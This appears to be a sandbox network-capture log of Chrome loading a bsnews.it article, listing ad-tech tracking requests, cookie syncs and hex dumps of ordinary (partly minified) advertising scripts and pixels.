Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	872	OUT	GET /pv?sid=1011&rnd=436232701635&pv=omg&id=607&ad=197&rs=1280x1024&lg=en-US&tz=-60&ur=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&re=&co=24&pbs=true&cb=window._omgDmp.setNeoIdLastSync(%27@@neo_user_id@@%27);&neoid=31d088370c605bf HTTP/1.1 Host: trz.neodatagroup.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=
2024-03-28 08:51:26 UTC	750	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"; policyref="/ad/w3c/p3p.xml" Access-Control-Allow-Origin: * Set-Cookie: cP=AT8DHQiDcMYFvwAAAAABs0lT; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:25 GMT; Set-Cookie: tr=loCAwICAwA==; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:25 GMT; Set-Cookie: cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:25 GMT; vary: accept-encoding
2024-03-28 08:51:26 UTC	243	IN	Data Raw: 65 38 0d 0a 76 61 72 20 69 6d 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 69 6d 67 27 29 3b 20 69 6d 67 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 20 69 6d 67 2e 73 72 63 20 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 72 6f 6e 6c 69 6e 65 63 68 6f 69 63 65 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6f 70 74 6f 75 74 2f 63 61 6c 6c 62 61 63 6b 2f 3f 73 74 61 74 75 73 3d 6e 6f 63 6f 6f 6b 69 65 26 74 6f 6b 65 6e 3d 37 41 64 55 75 51 44 6e 53 34 34 69 56 73 36 5a 59 75 31 6f 68 4c 4d 59 65 4a 45 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 6d 67 29 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: e8var img = document.createElement('img'); img.style.display = "none"; img.src ="https://www.youronlinechoices.com/wp-content/plugins/optout/callback/?status=nocookie&token=7AdUuQDnS44iVs6ZYu1ohLMYeJE"; document.body.appendChild(img);0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.4	50100	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	728	OUT	GET /6ccbc109824ae3014a36fd8993cc151d/?uid=e222cac2-a257-448a-96d5-9494eb4fc58c&gdpr=0 HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
2024-03-28 08:51:26 UTC	431	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:43:06 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; expires=Wed, 26 Jun 2024 08:43:06 GMT; Max-Age=7776000; path=/; domain=.richaudience.com; secure; HttpOnly; SameSite=None
2024-03-28 08:51:26 UTC	106	IN	Data Raw: 35 66 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 5fPNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.4	50071	147.28.129.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	474	OUT	GET /a/c HTTP/1.1 Host: prebid.a-mo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __amc=1_1711615879_1711615879; amuid2=10735680-48cc-46aa-8323-b54c7155938b; sd_amuid2=10735680-48cc-46aa-8323-b54c7155938b
2024-03-28 08:51:25 UTC	242	IN	HTTP/1.1 404 Not Found cache-control: max-age=0, private, must-revalidate content-length: 9 content-type: text/html; charset=utf-8 date: Thu, 28 Mar 2024 08:51:25 GMT server: envoy x-envoy-upstream-service-time: 0 connection: close
2024-03-28 08:51:25 UTC	9	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.4	50065	52.41.55.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	907	OUT	GET /hb-api/prebid/v1?RefererUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&PageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&PageReferrer=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&CanonicalUrl=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F HTTP/1.1 Host: hb-api.omnitagjs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ayl_visitor=b6fcc9c759d2693b00a026e6708e7344
2024-03-28 08:51:26 UTC	351	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache vary: Accept-Encoding x-content-type-options: nosniff X-Kong-Upstream-Latency: 13 X-Kong-Proxy-Latency: 0 Via: kong/2.8.3
2024-03-28 08:51:26 UTC	9	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.4	50095	34.96.70.87	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	557	OUT	GET /encrypted-signals/encrypted-tag-g.js HTTP/1.1 Host: invstatic101.creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:26 UTC	397	IN	HTTP/1.1 200 OK content-type: text/javascript; charset=utf-8 last-modified: Mon, 05 Feb 2024 22:07:56 GMT etag: cd19e0900da0cdbc6697310fd9330fb6 x-cloud-trace-context: 30095559b40630e860f08344ded5d514 date: Thu, 28 Mar 2024 08:51:26 GMT server: Google Frontend Content-Length: 1195 via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:26 UTC	855	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 45 53 50 20 2d 20 52 54 42 48 6f 75 73 65 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 76 31 2e 32 2e 35 0a 20 2a 20 40 6c 69 6e 6b 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 74 62 68 6f 75 73 65 2e 63 6f 6d 2f 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 72 74 62 68 6f 75 73 65 2d 65 73 70 22 29 2c 6e 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 72 74 62 68 6f 75 73 65 2d 73 65 67 6d 65 6e 74 73 22 29 2c 6f 3d 70 62 6a 73 2e 67 65 74 55 73 65 72 49 64 73 28 29 3f 2e 70 75 62 63 69 64 3b 72 65 74 75 72 6e 20 73 69 67 6e 61 6c 5f 64 Data Ascii: /** * ESP - RTBHouse * @version v1.2.5 * @link https://www.rtbhouse.com/ */!function(){async function e(){var e=window.localStorage.getItem("rtbhouse-esp"),n=window.localStorage.getItem("rtbhouse-segments"),o=pbjs.getUserIds()?.pubcid;return signal_d
2024-03-28 08:51:26 UTC	340	IN	Data Raw: 73 6f 6e 28 29 29 2e 6d 65 73 73 61 67 65 7d 28 73 69 67 6e 61 6c 5f 64 65 63 72 79 70 74 65 64 29 2e 74 68 65 6e 28 65 3d 3e 65 29 7d 6e 65 77 20 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 68 69 73 2c 65 29 7d 73 65 6e 64 5f 73 69 67 6e 61 6c 28 29 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 2e 73 65 63 75 72 65 53 69 67 6e 61 6c 50 72 6f 76 69 64 65 72 73 7c 7c 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 2e 73 65 63 75 72 65 53 69 67 6e 61 6c 50 72 6f 76 69 64 65 72 73 3d 5b 5d 29 2c 6e 75 6c 6c 21 3d 67 6f 6f 67 6c 65 74 61 67 2e 73 65 63 75 72 65 53 69 67 6e 61 6c 50 72 6f 76 69 64 65 72 73 26 26 67 6f 6f 67 6c 65 74 61 67 2e 73 65 63 75 72 65 53 69 67 6e 61 6c 50 72 6f 76 Data Ascii: son()).message}(signal_decrypted).then(e=>e)}new class{constructor(e){Object.assign(this,e)}send_signal(){window.googletag.secureSignalProviders\|\|(window.googletag.secureSignalProviders=[]),null!=googletag.secureSignalProviders&&googletag.secureSignalProv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.4	50096	13.249.39.105	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	567	OUT	GET /movingup/generic/prod/adk-init.js HTTP/1.1 Host: cdn.adkaora.space Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://bsnews.it sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:26 UTC	844	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 120980 Connection: close Date: Thu, 28 Mar 2024 08:51:27 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Last-Modified: Tue, 26 Mar 2024 10:58:54 GMT ETag: "44937d29a060e385bf3e8875fbf02d08" x-amz-server-side-encryption: AES256 x-amz-meta-s3cmd-attrs: md5:44937d29a060e385bf3e8875fbf02d08 Cache-Control: public,max-age=43200,stale-while-revalidate=86400 x-amz-version-id: v6_hH.B_TWVovq9DRhcdkc8HxpJlPxY7 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding,Origin,Access-Control-Request-Headers,Access-Control-Request-Method X-Cache: Miss from cloudfront Via: 1.1 d1cde188ada6755fe03b8541b71fce4a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C1 X-Amz-Cf-Id: pjKJc2IC4oENKJ2L66HaP83C7RtcoaZo5tcarNJXRnJ_maPqt8fMMg==
2024-03-28 08:51:26 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 61 30 5f 30 78 32 66 30 64 28 5f 30 78 31 33 37 61 66 36 2c 5f 30 78 32 61 66 64 30 37 29 7b 76 61 72 20 5f 30 78 33 34 30 38 64 39 3d 61 30 5f 30 78 33 32 65 36 28 29 3b 72 65 74 75 72 6e 20 61 30 5f 30 78 32 66 30 64 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 39 35 32 65 2c 5f 30 78 33 66 38 63 30 32 29 7b 5f 30 78 31 66 39 35 32 65 3d 5f 30 78 31 66 39 35 32 65 2d 30 78 38 61 3b 76 61 72 20 5f 30 78 33 32 65 36 38 34 3d 5f 30 78 33 34 30 38 64 39 5b 5f 30 78 31 66 39 35 32 65 5d 3b 72 65 74 75 72 6e 20 5f 30 78 33 32 65 36 38 34 3b 7d 2c 61 30 5f 30 78 32 66 30 64 28 5f 30 78 31 33 37 61 66 36 2c 5f 30 78 32 61 66 64 30 37 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 61 30 5f 30 78 33 32 65 36 28 29 7b 76 61 72 20 5f 30 78 32 64 62 Data Ascii: function a0_0x2f0d(_0x137af6,_0x2afd07){var _0x3408d9=a0_0x32e6();return a0_0x2f0d=function(_0x1f952e,_0x3f8c02){_0x1f952e=_0x1f952e-0x8a;var _0x32e684=_0x3408d9[_0x1f952e];return _0x32e684;},a0_0x2f0d(_0x137af6,_0x2afd07);}function a0_0x32e6(){var _0x2db
2024-03-28 08:51:26 UTC	174	IN	Data Raw: 33 64 63 37 35 32 28 30 78 31 36 33 29 2c 27 73 69 7a 65 73 27 3a 5b 30 78 31 2c 30 78 31 5d 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 64 63 29 2c 27 6c 61 79 65 72 56 65 72 73 69 6f 6e 27 3a 27 61 6c 6c 27 7d 2c 7b 27 69 64 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 30 66 29 2b 5f 30 78 33 64 63 37 35 32 28 30 78 61 33 29 2c 27 73 69 7a 65 73 27 3a 5b 5b 30 78 37 38 2c 30 78 32 35 38 5d 2c 5b 30 78 61 30 2c 30 78 32 35 38 5d 5d 2c 27 69 6e 74 65 67 72 61 74 69 Data Ascii: 3dc752(0x163),'sizes':[0x1,0x1],'integrationType':_0x3dc752(0x1dc),'layerVersion':'all'},{'id':_0x3dc752(0x10f)+_0x3dc752(0xa3),'sizes':[[0x78,0x258],[0xa0,0x258]],'integrati
2024-03-28 08:51:26 UTC	16384	IN	Data Raw: 6f 6e 54 79 70 65 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 64 63 29 2c 27 6c 61 79 65 72 56 65 72 73 69 6f 6e 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 65 63 29 7d 2c 7b 27 69 64 27 3a 27 61 64 6b 5f 73 6b 79 73 63 72 27 2b 5f 30 78 33 64 63 37 35 32 28 30 78 31 38 37 29 2c 27 73 69 7a 65 73 27 3a 5b 5b 30 78 37 38 2c 30 78 32 35 38 5d 2c 5b 30 78 61 30 2c 30 78 32 35 38 5d 5d 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a 27 64 69 76 27 2c 27 6c 61 79 65 72 56 65 72 73 69 6f 6e 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 65 63 29 7d 2c 7b 27 69 64 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 63 30 29 2b 5f 30 78 33 64 63 37 35 32 28 30 78 32 35 39 29 2c 27 73 69 7a 65 73 27 3a 5b 5b 30 78 31 32 63 2c 30 78 32 35 38 5d 2c 5b 30 78 31 34 30 2c Data Ascii: onType':_0x3dc752(0x1dc),'layerVersion':_0x3dc752(0xec)},{'id':'adk_skyscr'+_0x3dc752(0x187),'sizes':[[0x78,0x258],[0xa0,0x258]],'integrationType':'div','layerVersion':_0x3dc752(0xec)},{'id':_0x3dc752(0x1c0)+_0x3dc752(0x259),'sizes':[[0x12c,0x258],[0x140,
2024-03-28 08:51:26 UTC	1024	IN	Data Raw: 6e 54 79 70 65 27 3a 27 64 69 76 27 2c 27 6c 61 79 65 72 56 65 72 73 69 6f 6e 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 30 37 29 7d 5d 2c 27 74 61 62 6c 65 74 50 6f 72 74 72 61 69 74 27 3a 5b 7b 27 69 64 27 3a 27 61 64 6b 5f 70 75 73 68 64 6f 27 2b 27 77 6e 27 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 35 32 29 2c 27 6c 61 79 65 72 56 65 72 73 69 6f 6e 27 3a 27 69 6e 74 65 72 73 74 69 74 69 27 2b 27 61 6c 27 7d 2c 7b 27 69 64 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 31 35 29 2c 27 73 69 7a 65 73 27 3a 5b 5b 30 78 32 64 38 2c 30 78 35 61 5d 2c 5b 30 78 31 64 34 2c 30 78 33 63 5d 2c 27 66 6c 75 69 64 27 5d 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 Data Ascii: nType':'div','layerVersion':_0x3dc752(0x107)}],'tabletPortrait':[{'id':'adk_pushdo'+'wn','integrationType':_0x3dc752(0x152),'layerVersion':'interstiti'+'al'},{'id':_0x3dc752(0x115),'sizes':[[0x2d8,0x5a],[0x1d4,0x3c],'fluid'],'integrationType':_0x3dc752(0x
2024-03-28 08:51:26 UTC	16384	IN	Data Raw: 69 64 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 63 34 29 2b 27 65 2d 74 6f 70 35 27 2c 27 73 69 7a 65 73 27 3a 5b 5b 30 78 31 32 63 2c 30 78 66 61 5d 2c 5b 30 78 31 35 30 2c 30 78 31 31 38 5d 2c 5f 30 78 33 64 63 37 35 32 28 30 78 32 36 66 29 5d 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 64 63 29 2c 27 6c 61 79 65 72 56 65 72 73 69 6f 6e 27 3a 27 64 69 73 70 6c 61 79 27 7d 2c 7b 27 69 64 27 3a 5f 30 78 33 64 63 37 35 32 28 30 78 31 63 34 29 2b 27 65 2d 6d 69 64 64 6c 65 27 2c 27 73 69 7a 65 73 27 3a 5b 5b 30 78 31 32 63 2c 30 78 66 61 5d 2c 5b 30 78 31 35 30 2c 30 78 31 31 38 5d 2c 5f 30 78 33 64 63 37 35 32 28 30 78 32 36 66 29 5d 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a 27 64 69 76 Data Ascii: id':_0x3dc752(0x1c4)+'e-top5','sizes':[[0x12c,0xfa],[0x150,0x118],_0x3dc752(0x26f)],'integrationType':_0x3dc752(0x1dc),'layerVersion':'display'},{'id':_0x3dc752(0x1c4)+'e-middle','sizes':[[0x12c,0xfa],[0x150,0x118],_0x3dc752(0x26f)],'integrationType':'div
2024-03-28 08:51:26 UTC	1024	IN	Data Raw: 30 78 66 31 29 3d 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 77 69 6e 64 6f 77 5b 5f 30 78 34 32 33 31 61 34 28 30 78 31 65 62 29 5d 5b 27 73 65 61 72 63 68 27 5d 29 5b 5f 30 78 34 32 33 31 61 34 28 30 78 31 63 37 29 5d 28 5f 30 78 34 32 33 31 61 34 28 30 78 32 32 39 29 29 2c 27 67 64 70 72 27 3a 21 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 77 69 6e 64 6f 77 5b 27 6c 6f 63 61 74 69 6f 6e 27 5d 5b 5f 30 78 34 32 33 31 61 34 28 30 78 62 32 29 5d 29 5b 5f 30 78 34 32 33 31 61 34 28 30 78 31 63 37 29 5d 28 5f 30 78 34 32 33 31 61 34 28 30 78 31 63 31 29 29 7c 7c 27 74 72 75 65 27 3d 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 77 69 6e 64 6f 77 5b 27 6c 6f 63 61 74 69 6f 6e 27 5d 5b 27 73 65 61 72 63 68 Data Ascii: 0xf1)==new URLSearchParams(window[_0x4231a4(0x1eb)]['search'])[_0x4231a4(0x1c7)](_0x4231a4(0x229)),'gdpr':!new URLSearchParams(window['location'][_0x4231a4(0xb2)])[_0x4231a4(0x1c7)](_0x4231a4(0x1c1))\|\|'true'==new URLSearchParams(window['location']['search
2024-03-28 08:51:26 UTC	16384	IN	Data Raw: 62 29 3d 3d 74 79 70 65 6f 66 20 5f 30 78 33 64 66 30 62 34 5b 5f 30 78 33 34 31 63 38 37 5d 7c 7c 5f 30 78 34 65 36 61 33 31 5b 27 69 73 41 72 72 61 79 27 5d 28 5f 30 78 33 64 66 30 62 34 5b 5f 30 78 33 34 31 63 38 37 5d 29 3f 5f 30 78 35 31 65 64 36 30 5b 5f 30 78 34 32 33 31 61 34 28 30 78 31 61 65 29 5d 5b 5f 30 78 33 34 31 63 38 37 5d 3d 7b 2e 2e 2e 5f 30 78 32 35 62 37 61 39 5b 5f 30 78 34 32 33 31 61 34 28 30 78 31 61 65 29 5d 5b 5f 30 78 33 34 31 63 38 37 5d 2c 2e 2e 2e 5f 30 78 33 64 66 30 62 34 5b 5f 30 78 33 34 31 63 38 37 5d 7d 3a 5f 30 78 32 63 35 62 34 34 5b 27 67 65 6e 65 72 69 63 27 5d 5b 5f 30 78 33 34 31 63 38 37 5d 3d 5f 30 78 33 64 66 30 62 34 5b 5f 30 78 33 34 31 63 38 37 5d 3b 5f 30 78 33 38 65 34 37 65 28 5f 30 78 31 33 64 63 61 62 Data Ascii: b)==typeof _0x3df0b4[_0x341c87]\|\|_0x4e6a31['isArray'](_0x3df0b4[_0x341c87])?_0x51ed60[_0x4231a4(0x1ae)][_0x341c87]={..._0x25b7a9[_0x4231a4(0x1ae)][_0x341c87],..._0x3df0b4[_0x341c87]}:_0x2c5b44['generic'][_0x341c87]=_0x3df0b4[_0x341c87];_0x38e47e(_0x13dcab
2024-03-28 08:51:26 UTC	16384	IN	Data Raw: 31 37 36 65 5b 5f 30 78 34 33 37 64 61 34 28 30 78 39 34 29 5d 28 5f 30 78 33 65 63 38 35 61 29 2c 21 30 78 31 29 3b 7d 7d 3b 7d 2c 30 78 33 37 30 3a 28 5f 30 78 33 37 35 63 66 32 2c 5f 30 78 34 35 35 36 61 34 2c 5f 30 78 35 64 63 37 31 65 29 3d 3e 7b 5f 30 78 35 64 63 37 31 65 5b 27 64 27 5d 28 5f 30 78 34 35 35 36 61 34 2c 7b 27 63 27 3a 28 29 3d 3e 5f 30 78 31 61 33 30 37 38 7d 29 3b 63 6f 6e 73 74 20 5f 30 78 31 61 33 30 37 38 3d 28 5f 30 78 33 35 39 32 33 66 2c 5f 30 78 35 62 64 64 32 64 29 3d 3e 7b 76 61 72 20 5f 30 78 32 38 38 39 36 36 3d 61 30 5f 30 78 32 66 30 64 3b 74 72 79 7b 6c 65 74 20 5f 30 78 35 61 39 35 62 37 3d 5f 30 78 32 38 38 39 36 36 28 30 78 32 31 64 29 3b 74 72 79 7b 69 66 28 5f 30 78 32 38 38 39 36 36 28 30 78 31 39 64 29 3d 3d 3d Data Ascii: 176e[_0x437da4(0x94)](_0x3ec85a),!0x1);}};},0x370:(_0x375cf2,_0x4556a4,_0x5dc71e)=>{_0x5dc71e['d'](_0x4556a4,{'c':()=>_0x1a3078});const _0x1a3078=(_0x35923f,_0x5bdd2d)=>{var _0x288966=a0_0x2f0d;try{let _0x5a95b7=_0x288966(0x21d);try{if(_0x288966(0x19d)===
2024-03-28 08:51:26 UTC	16384	IN	Data Raw: 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a 27 64 69 76 27 2c 27 6c 61 79 65 72 56 65 72 73 69 6f 6e 27 3a 5f 30 78 32 38 38 39 36 36 28 30 78 31 30 37 29 7d 2c 7b 27 69 64 27 3a 27 61 64 6b 5f 63 6f 6d 6d 65 6e 27 2b 5f 30 78 32 38 38 39 36 36 28 30 78 32 31 66 29 2c 27 73 69 7a 65 73 27 3a 5b 30 78 32 64 38 2c 30 78 35 61 5d 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a 5f 30 78 32 38 38 39 36 36 28 30 78 31 64 63 29 2c 27 6c 61 79 65 72 56 65 72 73 69 6f 6e 27 3a 27 64 69 73 70 6c 61 79 27 7d 2c 7b 27 69 64 27 3a 5f 30 78 32 38 38 39 36 36 28 30 78 31 62 38 29 2b 5f 30 78 32 38 38 39 36 36 28 30 78 32 36 65 29 2c 27 73 69 7a 65 73 27 3a 5b 30 78 32 64 38 2c 30 78 35 61 5d 2c 27 69 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 27 3a Data Ascii: ,'integrationType':'div','layerVersion':_0x288966(0x107)},{'id':'adk_commen'+_0x288966(0x21f),'sizes':[0x2d8,0x5a],'integrationType':_0x288966(0x1dc),'layerVersion':'display'},{'id':_0x288966(0x1b8)+_0x288966(0x26e),'sizes':[0x2d8,0x5a],'integrationType':
2024-03-28 08:51:26 UTC	16384	IN	Data Raw: 65 6e 74 27 3a 5b 5f 30 78 34 31 31 62 61 39 28 30 78 65 35 29 2b 5f 30 78 34 31 31 62 61 39 28 30 78 64 38 29 2b 5f 30 78 34 31 31 62 61 39 28 30 78 31 62 61 29 2b 5f 30 78 34 31 31 62 61 39 28 30 78 31 35 36 29 2b 5f 30 78 34 31 31 62 61 39 28 30 78 31 66 65 29 2b 27 69 6d 70 6f 72 74 61 6e 74 3b 27 2b 5f 30 78 34 31 31 62 61 39 28 30 78 63 32 29 2b 5f 30 78 34 31 31 62 61 39 28 30 78 61 30 29 5d 2c 27 73 6f 75 72 63 65 52 6f 6f 74 27 3a 27 27 7d 5d 29 3b 63 6f 6e 73 74 20 5f 30 78 35 62 64 35 65 64 3d 5f 30 78 34 61 65 65 34 61 3b 7d 2c 30 78 33 35 31 3a 5f 30 78 32 35 63 32 39 64 3d 3e 7b 76 61 72 20 5f 30 78 34 30 65 39 38 61 3d 61 30 5f 30 78 32 66 30 64 3b 69 66 28 27 5a 4d 4c 5a 67 27 3d 3d 3d 27 5a 4d 4c 5a 67 27 29 5f 30 78 32 35 63 32 39 64 5b Data Ascii: 